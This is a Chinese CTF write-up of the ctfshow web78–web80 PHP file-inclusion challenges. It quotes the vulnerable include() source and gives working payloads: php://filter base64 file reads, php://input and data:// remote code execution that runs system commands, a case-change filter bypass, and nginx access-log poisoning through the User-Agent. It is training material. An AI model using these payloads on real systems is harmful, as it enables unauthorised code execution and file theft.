ctfshow-web文件包含web78?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-16 10:52:43 # Last Modified by: h1xa # Last Modified time: 2020-09-16 10:54:20 # email: h1xactfer.com # link: https://ctfer.com */ if(isset($_GET[file])){ $file $_GET[file]; include($file); }else{ highlight_file(__FILE__); }由include代码执行file引入文件如果执行不成功就高亮显示源码可知这就是一个没有任何过滤的文件包含的题目方法一filter伪协议file关键字的get参数传递php://是一种协议名称php://filter/是一种访问本地文件的协议/readconvert.base64-encode/表示读取的方式是base64编码后resourceindex.php表示目标文件为index.php。filter伪协议构造payload?filephp://filter/readconvert.base64-encode/resourceflag.php得到base编码后的flag解密得到flagctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}方法二input协议php://input 是 PHP 提供的一个伪协议允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据PHP 提供了 $_POST 与 $FILES 超全局变量在客户端发起 POST 请求时PHP 将自动处理 POST 提交的数据并将处理结果存放至 $_POST 与 $FILES 中?php system(ls);?方法三data协议data也是利用文件包含漏洞将输入的代码当作php文件执行。data协议格式data://[MIME-type][;charsetencoding][;base64],data构造payload?filedata://text/plain,?php system(tac f*);?将我们输入的当作php文件来执行以达到读取flag的目的。web79?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-16 11:10:14 # Last Modified by: h1xa # Last Modified time: 2020-09-16 11:12:38 # email: h1xactfer.com # link: https://ctfer.com */ if(isset($_GET[file])){ $file $_GET[file]; $file str_replace(php, ???, $file); include($file); }else{ highlight_file(__FILE__); }发现过滤了php小问题data协议data://text/plain使用到?php ?可以用? ?代替flag.php可以用*或?代替部分字符或是直接使用base64编码?filedata://text/plain,? system(tac fla*) ? ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg等于?php system(cat flag.php);ctfshow{e37fa4f8-13aa-40d3-a57e-dd2af3f4030e}php://inputphp用大小写绕过?filePhp://input post: ?php system(tac flag.php); ?当你使用hackbar的时候请使用raw模式发送post请求否则服务端无法接收到post里的内容。日志包含?file/var/log/nginx/access.loguser-agent里写上?php system(ls); ? ?php system(tac fl0g.php); ?web80?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-09-16 11:25:09 # Last Modified by: h1xa # Last Modified time: 2020-09-16 11:26:29 # email: h1xactfer.com # link: https://ctfer.com */ if(isset($_GET[file])){ $file $_GET[file]; $file str_replace(php, ???, $file); $file str_replace(data, ???, $file); include($file); }else{ highlight_file(__FILE__); }解释首先代码使用isset()函数检查是否存在名为file的GET参数。如果存在代码将获取该参数的值并赋给变量$file。 然后代码使用str_replace()函数对file变量进行两次替换操作。第一次替换将file变量进行两次替换操作。第一次替换将file中的php字符串替换为???第二次替换将file中的data字符串替换为???。 最后代码使用include()函数来包含$file变量所代表的文件。发现是nginx服务器所以我们尝试访问这个日志/var/log/nginx/access.log